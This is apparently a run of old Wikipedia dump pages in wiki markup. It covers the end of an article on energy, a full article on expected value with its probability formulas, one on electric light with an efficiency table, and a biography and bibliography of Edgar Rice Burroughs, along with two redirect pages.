To further illustrate the relationship between [[force]] and [[potential energy]], consider the same system of two objects situated along the x-axis. If the [[potential energy]] due to one of the objects at any point &lt;math&gt;x&lt;/math&gt; is &lt;math&gt;U(x)&lt;/math&gt;, then the force on that object at &lt;math&gt;x&lt;/math&gt; is 

:&lt;math&gt;f(x) = -\frac{dU(x)}{dx}&lt;/math&gt;

This mathematical relationship demonstrates the direct connection between [[force]] and [[potential energy]]: the [[force]] between two objects is in the direction of decreasing [[potential energy]], and the magnitude of the [[force]] is proportional to the extent to which [[potential energy]] decreases. A large [[force]] is associated with a large decrease in [[potential energy]], while a small [[force]] is associated with a small decrease in [[potential energy]]. Notice how, in this case, the [[force]] on an object depends entirely on its [[potential energy]]. 

These two relationships &amp;ndash; the definition of [[potential energy]] based on [[force]], and the dependence of [[force]] on [[potential energy]] &amp;ndash; show how the concepts of [[force]] and [[potential energy]] are intimately linked: if two objects do not exert forces on each other, there is no [[potential energy]] between them. If two objects do exert forces on each other, then [[potential energy]] naturally arises in the system as part of the system's total energy. Since [[potential energy]] arises from forces, any change in the system's spatial configuration will either increase or decrease the system's [[potential energy]] as the objects are repositioned.

When a system moves to a lower [[potential energy]] state, energy is either released in some form or converted into another form of energy, such as [[kinetic energy]]. The [[potential energy]] can be &quot;stored&quot; as [[gravitational energy]], [[elastic energy]], [[chemical energy]], [[rest mass energy]] or [[electrical energy]], but arises in all cases from the spatial positioning and interaction of objects within a system. Unlike [[kinetic energy]], which exists in any moving body, [[potential energy]] exists in any body which is interacting with another object.

For example a [[mass]] released above the [[Earth]] initially has [[potential energy]] resulting from the [[gravity|gravitational attraction]] of the Earth, which is transferred to [[kinetic energy]] as the [[gravitational force]] acts on the object and its [[potential energy]] is decreased as it falls.

Equation:
:&lt;math&gt;E_p = mgh \;&lt;/math&gt;

where ''m'' is the mass, ''h'' is the [[height]] and ''g'' is the value of [[acceleration]] due to [[gravity]] at the Earth's surface (see [[gee]]).

===Internal energy===
{{main|Internal energy}}

''Internal energy'' is the [[kinetic energy]] associated with the motion of [[molecule]]s, and the [[potential energy]] associated with the [[rotation|rotational]], [[vibration|vibrational]] and [[electric]] energy of [[atom]]s within molecules. [[Internal energy]], like energy, is a quantifiable [[state function]] of a system.

==History==

In the past, energy was discussed in terms of easily observable effects it has on the [[property|properties]] of objects or changes in state of various systems. Basically, if something changed, some sort of energy was involved in that change. As it was realized that energy could be stored in objects, the concept of energy came to embrace the idea of the potential for change as well as change itself. Such effects (both potential and realized) come in many different forms; examples are the [[electrical energy]] stored in a battery, the [[chemical energy]] stored in a piece of food, the [[thermal energy]] of a water heater, or the [[kinetic energy]] of a moving train. To simply say energy is &quot;change or the potential for change&quot;, however, misses many important examples of energy as it exists in the physical world.

The concept of energy and work are relatively new additions to the physicist’s toolbox. Neither [[Galileo]] nor [[Newton]] made any contributions to the theoretical model of energy, and it was not until the middle of the 19th century that these concepts were introduced.

The development of [[steam engines]] required engineers to develop concepts and formulas that would allow them to describe the [[mechanical]] and [[thermal]] efficiencies of their systems. Engineers such as [[Sadi Carnot]] and [[James Prescott Joule]], mathematicians such as [[Émile Claperyon]] and [[Hermann von Helmholtz ]], and amateurs such as [[Julius Robert von Mayer]] all contributed to the notions that the ability to perform certain tasks, called work, was somehow related to the amount of energy in the system. The nature of energy was elusive, however, and it was argued for some years whether energy was a substance (the [[caloric theory|caloric]]) or merely a physical quantity, such as [[momentum]].

William Thomson ([[Lord Kelvin]]) amalgamated all of these laws into his laws of [[thermodynamics]], which aided in the rapid development of energetic descriptions of chemical processes by [[Rudolf Clausius]], [[Josiah Willard Gibbs]], [[Walther Nernst]]. In addition, this allowed [[Ludwig Boltzmann]] to describe entropy in mathematical terms, and to discuss, along with [[Jožef Stefan]], the laws of [[radiant energy]].

For further information, see the [[Timeline of thermodynamics, statistical mechanics, and random processes|Timeline of thermodynamics]].

==Energy and Economy==
{{main articles|[[Energy development]] and [[Energy policy]]}}

The way in which humans use energy is one of the defining characteristics of an economy. The progression from animal power to [[steam power]], then the [[internal combustion engine]] and [[electricity]], are key elements in the development of modern civilization. [[Future energy development]], for example of [[renewable energy]], may be key to avoiding the [[effects of global warming]].&lt;!--- etc etc much more to be said --&gt;

==See also==
*[[Principles of energetics]]
*[[List of energy topics]]

=== Energy in natural sciences ===
* [[Energy conversion]]
* [[Enthalpy]]
* [[Energy quality]]
* [[Exergy]]
* [[Power (physics)]]
* [[Specific orbital energy]]
* [[Solar radiation]]
* [[Thermodynamics]]
* [[Thermodynamic entropy]]

===Energy resources===
*[[List of energy resources|List]]
*[[Embodied energy]]
*[[Emergy]]
*[[Energy crisis|Crisis]]
*[[Energy development|Development]]
*[[Energy policy|Policy]]
*[[Renewable energy|Renewable]]
*[[Energy balance]]
*[[Energy demand management|Management]] 
*[[Energy storage|Storage]]
*[[Energy transmission|Transmission]]
*[[EU Energy Label]]
*[[EU Intelligent Energy]],
*[[energy efficiency|Efficiency]]

== Further reading ==
*[[Richard Feynman|Feynman, Richard]]. ''Six Easy Pieces: Essentials of Physics Explained by Its Most Brilliant Teacher''. Helix Book. See the chapter &quot;conservation of energy&quot; for Feynman's explanation of what energy is and how to think about it.
*[[Albert Einstein|Einstein, Albert]] (1952). ''Relativity: The Special and the General Theory (Fifteenth Edition)''. ISBN 0-517-88441-0
*[[Alfred J. Lotka]] (1956). ''Elements of Mathematical Biology'', forerly published as 'Elements of Physical Biology', Dover, New York.

== Notes ==
{{note|nasa}} This definition is one of the most common; e.g. [http://observe.arc.nasa.gov/nasa/space/stellardeath/stellardeath_6.html Glossary at the NASA homepage]

== External links ==
*[http://www.physicsweb.org/article/world/15/7/2 What does energy really mean? From Physics World]
*[http://www.energy.ca.gov/glossary/ Glossary of Energy Terms]
* [http://www.iea.org International Energy Agency IEA - [[OECD]]]
* (pdf) - [http://arxiv.org/pdf/physics/0004055.pdf 'Actual' (First-Law) Energy in Relation to Free Energy and Entropy]

[[Category:Energy| ]]
[[Category:Introductory physics]]
[[Category:Fundamental physics concepts]]
[[Category:Physical quantity]]

[[af:Energie]]
[[an:Enerchía]]
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    </revision>
  </page>
  <page>
    <title>Enron</title>
    <id>9650</id>
    <revision>
      <id>15907523</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Enron Corporation]]
</text>
    </revision>
  </page>
  <page>
    <title>Expected value</title>
    <id>9653</id>
    <revision>
      <id>39013317</id>
      <timestamp>2006-02-10T03:07:30Z</timestamp>
      <contributor>
        <username>Salix alba</username>
        <id>212526</id>
      </contributor>
      <comment>Changed math $ to \$</comment>
      <text xml:space="preserve">In [[probability theory]] (and especially [[gambling]]), the '''expected value''' (or '''mathematical expectation''') of a [[random variable]] is the sum of the probability of each possible outcome of the experiment multiplied by its payoff (&quot;value&quot;). Thus, it represents the average amount one &quot;expects&quot; to win per bet if bets with identical odds are repeated many times. Note that the value itself may not be [[expectation|expected]] in the general sense; it may be unlikely or even impossible. A game or situation in which the expected value for the player is zero (no net gain nor loss) is called a &quot;fair game.&quot;

For example, an American [[roulette]] wheel has 38 equally possible outcomes. A bet placed on a single number pays 35-to-1 (this means that you are paid 35 times your bet and your bet is returned, so you get 36 times your bet). So the expected value of the profit resulting from a $1 bet on a single number is, considering all 38 possible outcomes: 

:&lt;math&gt;\left( -\$1 \times \frac{37}{38} \right) + \left( \$35 \times \frac{1}{38} \right),&lt;/math&gt; 

which is about -$0.0526. Therefore one expects, on average, to lose over five cents for every dollar bet.

== Mathematical definition ==

In general, if &lt;math&gt;X\,&lt;/math&gt; is a [[random variable]] defined on a [[probability space]] &lt;math&gt;(\Omega, P)\,&lt;/math&gt;, then the expected value of &lt;math&gt;X\,&lt;/math&gt; (denoted &lt;math&gt;\mathrm{E}(X)\,&lt;/math&gt; or sometimes &lt;math&gt;\langle X \rangle&lt;/math&gt; or &lt;math&gt;\mathbb{E}(X)&lt;/math&gt;) is defined as

:&lt;math&gt;\mathrm{E}(X) = \int_\Omega X\, dP&lt;/math&gt;

where the [[Lebesgue integral]] is employed. Note that not all random variables have an expected value, since the integral may not exist (e.g., [[Cauchy distribution]]). Two variables with the same [[probability distribution]] will have the same expected value, if it is defined.

If &lt;math&gt;X&lt;/math&gt; is a [[discrete random variable]] with values &lt;math&gt;x_1&lt;/math&gt;, &lt;math&gt;x_2&lt;/math&gt;, ... and corresponding probabilities &lt;math&gt;p_1&lt;/math&gt;, &lt;math&gt;p_2&lt;/math&gt;, ... which add up to 1, then &lt;math&gt;\mathrm{E}(X)&lt;/math&gt; can be computed as the sum or [[infinite series|series]]

:&lt;math&gt;\mathrm{E}(X) = \sum_i p_i x_i\,&lt;/math&gt;

as in the gambling example mentioned above.

If the [[probability distribution]] of &lt;math&gt;X&lt;/math&gt; admits a [[probability density function]] &lt;math&gt;f(x)&lt;/math&gt;, then the expected value can be computed as

:&lt;math&gt;\mathrm{E}(X) = \int_{-\infty}^\infty x f(x)\, \mathrm d x.&lt;/math&gt;

It follows directly from the discrete case definition that if &lt;math&gt;X&lt;/math&gt; is a [[constant random variable]], i.e. &lt;math&gt;X = b&lt;/math&gt; for some fixed [[real number]] &lt;math&gt;b&lt;/math&gt;, then the expected value of &lt;math&gt;X&lt;/math&gt; is also &lt;math&gt;b&lt;/math&gt;.

The expected value of an arbitrary function of ''x'', ''g(x)'', with respect to the probability density function ''f(x)'' is given by

:&lt;math&gt;\mathrm{E}(g(X)) = \int_{-\infty}^\infty g(x) f(x)\, \mathrm d x.&lt;/math&gt;

==Properties==
===Linearity===
The expected value operator (or '''expectation operator''') &lt;math&gt;\mathrm{E}&lt;/math&gt; is [[linear operator|linear]] in the sense that

:&lt;math&gt;\mathrm{E}(a X + b Y) = a \mathrm{E}(X) + b \mathrm{E}(Y)\,&lt;/math&gt;

for any two random variables &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;Y&lt;/math&gt; (which need to be defined on the same probability space) and any real numbers &lt;math&gt;a&lt;/math&gt; and &lt;math&gt;b&lt;/math&gt;.

===Iterated expectation===
For any two random variables &lt;math&gt;X,Y&lt;/math&gt; one may define the [[conditional expectation]]:

:&lt;math&gt; \mathrm{E}[X|Y](y) = \mathrm{E}[X|Y=y] = \sum_x x \cdot \mathrm{P}(X=x|Y=y).&lt;/math&gt;

Then the expectation of &lt;math&gt;X&lt;/math&gt; satisfies

:&lt;math&gt;
\begin{matrix} 
\mathrm{E} \left( \mathrm{E}[X|Y] \right) &amp; = &amp; \sum_y \mathrm{E}[X|Y=y] \cdot \mathrm{P}(Y=y) \\
                                          &amp; = &amp; \sum_y \left( \sum_x x \cdot \mathrm{P}(X=x|Y=y) \right) \cdot \mathrm{P}(Y=y) \\ 
                                          &amp; = &amp; \sum_y \sum_x x \cdot \mathrm{P}(X=x|Y=y) \cdot \mathrm{P}(Y=y) \\
                                          &amp; = &amp; \sum_y \sum_x x \cdot \mathrm{P}(Y=y|X=x) \cdot \mathrm{P}(X=x) \\
                                          &amp; = &amp; \sum_x x \cdot \mathrm{P}(X=x) \cdot \left( \sum_y \mathrm{P}(Y=y|X=x) \right) \\
                                          &amp; = &amp; \sum_x x \cdot \mathrm{P}(X=x) \\
                                          &amp; = &amp;  \mathrm{E}[X]. \end{matrix}&lt;/math&gt;

Hence,  the following equations holds:

:&lt;math&gt;\mathrm{E}[X] = \mathrm{E} \left( \mathrm{E}[X|Y] \right).&lt;/math&gt;

The right hand side of this equation is referred to as the ''iterated expectation''.  This proposition is treated in [[law of total expectation]].

===Inequality===
If a random variable X is always less than or equal to another random variable Y, the expectation of X is less than or equal to that of Y:

If &lt;math&gt; X \leq Y&lt;/math&gt;, then &lt;math&gt; \mathrm{E}[X] \leq \mathrm{E}[Y]&lt;/math&gt;.

In particular, since &lt;math&gt; X \leq |X| &lt;/math&gt; and &lt;math&gt; -X \leq |X| &lt;/math&gt;, the absolute value of expectation of a random variable is less or equal to the expectation of its absolute value:

:&lt;math&gt;|\mathrm{E}[X]| \leq \mathrm{E}[|X|]&lt;/math&gt;

===Representation===
The following formula holds for any nonnegative real--valued random variable &lt;math&gt; X &lt;/math&gt; (such that &lt;math&gt; \mathrm{E}[X] &lt; \infty &lt;/math&gt;), and positive real number &lt;math&gt; \alpha &lt;/math&gt;:

:&lt;math&gt; \mathrm{E}[X^\alpha] = \alpha \int_{0}^{\infty} t^{\alpha -1}\mathrm{P}(X&gt;t) \mathrm d t.&lt;/math&gt;

===Non-multiplicativity===
In general, the expected value operator is not multiplicative, i.e. &lt;math&gt;\mathrm{E}(X Y)&lt;/math&gt; is not necessarily equal to &lt;math&gt;\mathrm{E}(X) \mathrm{E}(Y)&lt;/math&gt;, except if &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;Y&lt;/math&gt; are [[statistical independence|independent]] or [[uncorrelated]].
This lack of multiplicativity gives rise to study of [[covariance]] and [[correlation]].

===Functional non-invariance===
In general, the expectation operator and [[function (mathematics)|function]]s of random variables do not [[commutative operation|commute]]; that is

:&lt;math&gt;\mathrm{E}(g(X)) = \int_{\Omega} g(X)\, \mathrm d P \neq g(\operatorname{E}X),&lt;/math&gt;

except as noted above.

==Uses and applications of the expected value==
The expected values of the powers of &lt;math&gt;X&lt;/math&gt; are called the [[moment (mathematics)|moment]]s of &lt;math&gt;X&lt;/math&gt;; the [[moment about the mean|moments about the mean]] of &lt;math&gt;X&lt;/math&gt; are expected values of powers of &lt;math&gt;X - \mathrm{E}(X)&lt;/math&gt;. The moments of some random variables can be used to specify their distributions, via their [[moment generating function]]s.

To empirically estimate the expected value of a random variable, one repeatedly measures observations of the variable and computes the [[arithmetic mean]] of the results. This estimates the true expected value in an [[bias (statistics)|unbiased]] manner and has the property of minimizing the sum of the squares of the [[errors and residuals in statistics|residual]]s (the sum of the squared differences between the observations and the estimate). The [[law of large numbers]] demonstrates that (under fairly mild conditions) as the size of the [[statistical sample|sample]] gets larger, the [[variance]] of this estimate gets smaller.

In [[classical mechanics]], the [[center of mass]] is an analogous concept to expectation. For example, suppose &lt;math&gt;X&lt;/math&gt; is a discrete random variable with values &lt;math&gt;x_i&lt;/math&gt; and corresponding probabilities &lt;math&gt;p_i&lt;/math&gt;. Now consider a weightless rod on which are placed weights, at locations &lt;math&gt;x_i&lt;/math&gt; along the rod and having masses &lt;math&gt;p_i&lt;/math&gt; (whose sum is one). The point at which the rod balances (its [[center of gravity]]) is &lt;math&gt;\mathrm{E}(X)&lt;/math&gt;.  (Note however, that the [[center of mass]] is not the same as the center of gravity.)

==Expectation of matrices==
If &lt;math&gt;X&lt;/math&gt; is an &lt;math&gt;m \times n&lt;/math&gt; [[Matrix (mathematics)|matrix]], then the expected value of the matrix is a matrix of expected values:

:&lt;math&gt;
\mathrm{E}[X]
=
\mathrm{E}
\begin{bmatrix}
 x_{1,1} &amp; x_{1,2} &amp; \cdots &amp; x_{1,n} \\
 x_{2,1} &amp; x_{2,2} &amp; \cdots &amp; x_{2,n} \\
 \vdots \\
 x_{m,1} &amp; x_{m,2} &amp; \cdots &amp; x_{m,n}
\end{bmatrix}
=
\begin{bmatrix}
 \mathrm{E}(x_{1,1}) &amp; \mathrm{E}(x_{1,2}) &amp; \cdots &amp; \mathrm{E}(x_{1,n}) \\
 \mathrm{E}(x_{2,1}) &amp; \mathrm{E}(x_{2,2}) &amp; \cdots &amp; \mathrm{E}(x_{2,n}) \\
 \vdots \\
 \mathrm{E}(x_{m,1}) &amp; \mathrm{E}(x_{m,2}) &amp; \cdots &amp; \mathrm{E}(x_{m,n})
\end{bmatrix}
&lt;/math&gt;

This property is utilized in [[covariance matrix|covariance matrices]].

==See also==
*[[Conditional expectation]]
*[[An inequality on location and scale parameters]].
*[[Expected number]]
*Expected value is also a key concept in [[economics]] and [[finance]].
*The general term [[expectation]].

==External links==
*{{planetmath reference|id=505|title=Expectation}}

[[Category:Probability theory]]

[[de:Erwartungswert]]
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[[zh:期望值]]</text>
    </revision>
  </page>
  <page>
    <title>Edison</title>
    <id>9654</id>
    <revision>
      <id>31075148</id>
      <timestamp>2005-12-12T18:18:29Z</timestamp>
      <contributor>
        <username>Reddi</username>
        <id>13833</id>
      </contributor>
      <minor />
      <comment>#REDIRECT[[Thomas Edison]]</comment>
      <text xml:space="preserve">#REDIRECT[[Thomas Edison]]</text>
    </revision>
  </page>
  <page>
    <title>Electric light</title>
    <id>9656</id>
    <revision>
      <id>38960397</id>
      <timestamp>2006-02-09T20:16:04Z</timestamp>
      <contributor>
        <ip>209.7.119.155</ip>
      </contributor>
      <text xml:space="preserve">Most of the industrialized world is lit by '''electric lights''', which are used both at night and to provide additional light during the daytime. These lights are normally powered by the [[electric grid]], but some run on local [[generator]]s, and emergency generators serve as backups in hospitals and other locations where a loss of power could be catastrophic. [[Battery (electricity)|Battery]]-powered lights, usually called &quot;flashlights&quot; or &quot;torches&quot;, are used for portability and as backups when the main lights fail.

==Types==
Types of [[electricity|electric]] lighting include:
*incandescent [[light bulb]]s
*[[arc lamp]]s
*[[gas discharge lamp]]s, e.g., [[fluorescent light]]s, [[neon lamp]]s, modern [[photographic flash]]es 
*[[laser]]s
*[[light-emitting diode]]s, including [[OLED]]s
*[[sulfur lamp]]s


Different types of lights have vastly differing efficiencies. [http://www.parliament.the-stationery-office.co.uk/pa/cm200203/cmselect/cmsctech/747/747we81.htm]

{|
| '''Name''' || '''[[optical spectrum]]''' || '''nominal [[efficiency]]''' &lt;br&gt;([[lumen|lm]]/[[watt|W]]) || '''Lifetime''' ([[MTBF]])&lt;br&gt; (hours) || '''[[Colour temperature]]'''&lt;br&gt; ([[kelvin]]s) || '''[[Colour]]''' || '''[[Color rendering index]]'''
|-
| [[Incandescent light bulb]] || [[Continuous spectrum|Continuous]] || 12-17 ||  1000-2500 || 2700 || Warm white (yellowish) || 100
|-
| [[Halogen lamp]] || Continuous || 16-23 || 3000-6000  || 3200 ||  Warm white (yellowish) || 100
|-
| [[Fluorescent lamp]] || [[Mercury (element)|Mercury]] line + [[Phosphor]] || 52-100 || 8000-20000 || 2700-5000&lt;sup&gt;*&lt;/sup&gt; || White (with a tinge of green) || 15-85
|-
| [[Metal halide lamp]] || quasi-Continuous || 50-115 || 6000-20000 || 3000-4500 || Cold White || 65-93
|-
| [[Sodium vapor lamp|High pressure sodium]] || broadband ||55-140 || 10000-40000 || 1800-2200&lt;sup&gt;*&lt;/sup&gt; || Pinkish orange || 0-70
|-
| [[Sodium vapor lamp|Low pressure sodium]] || narrow line || 100-200 || 18000-20000 || 1800&lt;sup&gt;*&lt;/sup&gt; || Yellow, virtually no color rendering || 0
|}
&lt;sup&gt;*&lt;/sup&gt;&lt;small&gt;Color temperature is defined as the temperature of a [[black body]] emitting a similar spectrum; these spectra are quite different from those of black bodies.&lt;/small&gt;

The most efficient source of electric light is the low-pressure sodium lamp. It produces an almost [[monochromatic]] orange light, which severely distorts color perception. For this reason, it is generally reserved for outdoor public lighting usages. Low-pressure sodium lights are favoured for public lighting by astronomers, since the [[light pollution]] that they generate can be easily filtered, contrary to broadband or continuous spectra.

==Vendors==
* [[GE]] [http://www.gelighting.com/ Lighting]
* [[Osram]]

==Public lighting==
The total amount of artificial light is sufficient for cities to be easily visible at night from the air, and from space.  This wasted light should not be confused with the [[light pollution]] that burdens [[astronomy|astronomers]] and others, although it is the source of it.
&lt;center&gt;[[Image:Earthlights dmsp.jpg|650px]]
&lt;br /&gt;&lt;small&gt;Human-made lights highlight particularly developed or populated areas of the Earth's surface, including the seaboards of Europe, the eastern United States, and Japan.&lt;/small&gt; &lt;/br&gt;&lt;/center&gt;
----

[[Category:Lighting]]</text>
    </revision>
  </page>
  <page>
    <title>Edgar Rice Burroughs</title>
    <id>9657</id>
    <revision>
      <id>39923343</id>
      <timestamp>2006-02-16T21:24:14Z</timestamp>
      <contributor>
        <username>BPK2</username>
        <id>476225</id>
      </contributor>
      <minor />
      <comment>/* Caspak series */</comment>
      <text xml:space="preserve">'''Edgar Rice Burroughs''' ([[September 1]], [[1875]] – [[March 19]], [[1950]]) was an [[United States|American]] author, best known for his creation of the jungle hero [[Tarzan]], although he also produced works in many genres. 

==Biography==

Burroughs was born on [[September 1]], [[1875]] in [[Chicago, Illinois]] (although he later lived for many years in the neighboring suburb of [[Oak Park, Illinois|Oak Park]]), the son of a businessman. He was educated at a number of local [[school]]s, and during the Chicago [[influenza]] epidemic in [[1891]] spent a half year on his brothers' ranch on the [[Raft River]] in [[Idaho]]. He then attended the [[Phillips Academy]] in [[Andover, Massachusetts|Andover]] and then the [[Michigan Military Academy]]. Graduating in [[1895]], and failing the entrance exam for [[United States Military Academy|West Point]], he ended up as an enlisted [[soldier]] with the [[7th U.S. Cavalry]] in [[Fort Grant]], [[Arizona]] [[Territory]]. After being diagnosed with a [[heart]] problem and thus found ineligible for promotion to officer class, he was discharged in [[1897]].

What followed was a string of seemingly unrelated and short stint jobs. Following a period of drifting and ranch work in [[Idaho]], Burroughs found work at his father's firm in [[1899]]. He married Emma Centennia Hulbert in [[1900]]. In [[1904]] he left his job and found less regular work, initially in Idaho but soon back in Chicago.

By [[1911]], after seven years of low wages, he was working as a [[pencil sharpener]] wholesaler and began to write fiction. By this time Burroughs and Emma had two children, Joan and Hulbert.  During this period, he had copious spare time and he began reading many [[pulp magazine|pulp fiction magazines]] and claimed:

:&quot;...if people were paid for writing rot such as I read in some of those magazines that I could write stories just as rotten. As a matter of fact, although I had never written a story, I knew absolutely that I could write stories just as entertaining and probably a whole lot more so than any I chanced to read in those magazines.&quot;

Aiming his work at the 'pulp' magazines then in circulation, his first story &quot;Under the Moons of Mars&quot; was serialized in ''[[All-Story]]'' magazine in [[1912]] and earned Burroughs US$400.

Burroughs soon took up writing full-time and by the time the run of ''Under the Moons of Mars'' had finished he had completed two [[novel]]s, including ''[[Tarzan of the Apes]]'' which was published from October 1912 and went on to become his most successful brand.  In [[1913]], Burroughs and Emma had their third and last child, John Coleman.

Burroughs also wrote popular [[science fiction]]/[[fantasy]] stories involving Earthly adventurers transported to various [[planet]]s (notably [[Barsoom]], Burroughs' fictional name for  [[Mars (planet)|Mars]]), lost [[island]]s, and into the interior of the [[Hollow Earth|hollow earth]] in his ''[[Pellucidar]]'' stories, as well as [[Western fiction|western]]s and historical romances.  Along with All-Story, many of his stories were published in the ''[[Argosy Magazine]]''.

Tarzan was a cultural sensation when introduced. Burroughs was determined to capitalize on Tarzan's popularity in every way possible. He planned to exploit Tarzan through several different media including a syndicated Tarzan [[comic strip]], [[film|movie]]s and merchandise. Experts in the field advised against this course of action, stating that the different media would just end up competing against each other. Burroughs went ahead, however, and proved the experts wrong&amp;mdash;the public wanted Tarzan in whatever fashion he was offered. Tarzan remains one of the most successful fictional characters to this day and is a cultural icon.

In [[1923]] Burroughs set up his own company, Edgar Rice Burroughs, Inc., and began printing his own [[book]]s through the [[1930s]]. He divorced Emma in [[1934]] and married former actress [[Florence Gilbert|Florence Gilbert Dearholt]] in [[1935]], ex-wife of his friend, [[Ashton Dearholt]], adopting the Dearholt's two children. They divorced in [[1942]]. At the time of the attack on [[Pearl Harbor]] he was a resident of [[Hawaii]] and, despite being a [[sexagenarian]], he spent the conflict as a war correspondent. He died in [[Encino, California]] on [[March 19]], [[1950]] having written almost seventy novels.

The town of [[Tarzana, California]] was named after Tarzan. In [[1919]] Burroughs purchased a large ranch north of [[Los Angeles, California]] which he named &quot;Tarzana&quot;. The citizens of the community that sprang up around the ranch voted to adopt that name when their town was incorporated in [[1928]].

The [[Burroughs crater]] on Mars is named in Burroughs' honor.

==Selected bibliography==

===[[Barsoom series]]===
*''[[A Princess of Mars]]'' ([[1912]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/62])
*''[[The Gods of Mars]]'' ([[1914]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/64])
*''[[The Warlord of Mars]]'' ([[1918]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/68])
*''[[Thuvia, Maid of Mars]]'' ([[1920]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/72])
*''[[The Chessmen of Mars]]'' ([[1922]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/1153])
*''[[The Master Mind of Mars]]'' ([[1928]])
*''[[A Fighting Man of Mars]]'' ([[1931]])
*''[[Swords of Mars]]'' ([[1936]])
*''[[Synthetic Men of Mars]]'' ([[1940]])
*''[[Llana of Gathol]]'' ([[1948]])
*''[[John Carter of Mars]]'' ([[1964]])

===[[Tarzan]] series===
*''[[Tarzan of the Apes]]'' ([[1912]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/78])
*''The Return of Tarzan'' ([[1913]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/81])
*''The Beasts Of Tarzan'' ([[1914]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/85])
*''The Son of Tarzan'' ([[1914]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/90])
*''Tarzan And The Jewels Of Opar'' ([[1916]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/92])
*''Jungle Tales Of Tarzan'' ([[1919]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/106])
*''Tarzan The Untamed'' ([[1920]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/1401])
*''Tarzan The Terrible'' ([[1921]]) ([[Project Gutenberg]] Entry:[http://gutenberg.net/etext/2020])
*''Tarzan and the Golden Lion'' ([[1923]])
*''Tarzan and the Ant Men'' ([[1924]])
*''The Tarzan Twins'' ([[1927]])
*''Tarzan, Lord of the Jungle'' ([[1927]])
*''Tarzan and the Lost Empire'' ([[1928]])
*''Tarzan at the Earth's Core'' ([[1929]])
*''Tarzan the Invincible'' ([[1930]])
*''Tarzan Triumphant'' ([[1931]])
* ''Tarzan and the Leopard Men'' ([[1932]])
*''Tarzan and the City of Gold'' (1932)
*''Tarzan the Magnificent'' ([[1936]])
*''Tarzan and the Forbidden City'' ([[1938]])
*''Tarzan and the Jungle Murders'' ([[1940]])
*''Tarzan and the Champion'' ([[1940]])
*''Tarzan and the Madman'' ([[1964]])
*''Tarzan and the Foreign Legion'' ([[1947]])

===[[Pellucidar]] series===
*''[[At the Earth's Core]]'' ([[1914]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/545])
*''Pellucidar'' ([[1923]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/605])
*''Tanar of Pellucidar'' ([[1928]])
*''Tarzan at the Earth's Core'' ([[1929]])
*''Back to the Stone Age'' ([[1937]])
*''Land of Terror'' ([[1944]])
*''Savage Pellucidar'' ([[1963]])

===[[Venus series]]===
*''Pirates of Venus'' ([[1934 in literature|1934]])
*''Lost on Venus'' ([[1935 in literature|1935]])
*''Carson of Venus'' ([[1939 in literature|1939]])
*''Escape on Venus'' ([[1946 in literature|1946]])
*''The Wizard of Venus'' ([[1970 in literature|1970]])

===Caspak series===
*''[[The Land That Time Forgot (novel)|The Land That Time Forgot]]'' ([[1918]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/551]) see also [[Lost World (genre)|Lost World]] literary genre.
*''[[The People That Time Forgot (novel)|The People That Time Forgot]]'' ([[1918]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/552]) [mislabeled as &quot;People Out of Time&quot;]
*''Out of Time's Abyss'' ([[1918]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/553])

===Moon series===
*''The Moon Maid'' ([[1926]])	
*''The Moon Men'' ([[1926]])

===Other science fiction===
*''Beyond the Farthest Star'' ([[1941]])
*''The Lost Continent'' ([[1916]]) (aka ''Beyond Thirty'') ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/149])
*''The Monster Men'' ([[1929]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/96])

===Jungle adventure novels===
*''The Cave Girl'' ([[1925]])
*''The Eternal Savage'' ([[1925]]) (aka ''The Eternal Lover'')
*''The Lad and the Lion ([[1938]])
*''The Land of Hidden Men'' ([[1932]]) (aka ''Jungle Girl'')
*''The Man Eater'' ([[1935]])

===Western novels===
*''Apache Devil'' ([[1933]])
*''The Bandit of Hell's Bend'' ([[1926]])
*''The Deputy Sheriff of Comanche County'' ([[1940]])
*''The War Chief'' ([[1927]])

===Historical novels===
*''I am a Barbarian'' ([[1967]])
*''[[The Outlaw of Torn]]'' ([[1927]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/369])

===Other works===
*''The Efficiency Expert'' ([[1921]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/3475])
*[http://www.strangeexcursions.com/tarzana ''Forgotten Tales of Love and Murder''] ([[2001]])
*''The Girl from Farris's'' ([[1916]])
*''The Girl from Hollywood'' ([[1923]])
*''The Mad King'' ([[1926]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/364])
*''Marcia of the Doorstep'' ([[1999]])
*''Minidoka: 937th Earl of One Mile Series M'' ([[1998]])
*''The Mucker'' ([[1921]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/331])
*''The Oakdale Affair'' ([[1917]]) ([[Project Gutenberg]] Entry: [http://gutenberg.net/etext/363])
*''Pirate Blood'' ([[1970]])
*''The Rider'' ([[1937]])
*''You Lucky Girl!'' ([[1999]])

==See also==
*[[Otis Adelbert Kline]]
*[[Mars in fiction]]
*''[[John Carter of Mars (movie)|John Carter of Mars]]'' film

==External links==
{{wikisource author}}
* {{gutenberg author|id=Edgar_Rice_Burroughs|name=Edgar Rice Burroughs}}
* [http://www.erblist.com/erblist/erbfaq.shtml ERB FAQ]
* [http://www.erblist.com/ Burroughs Facts and Articles]
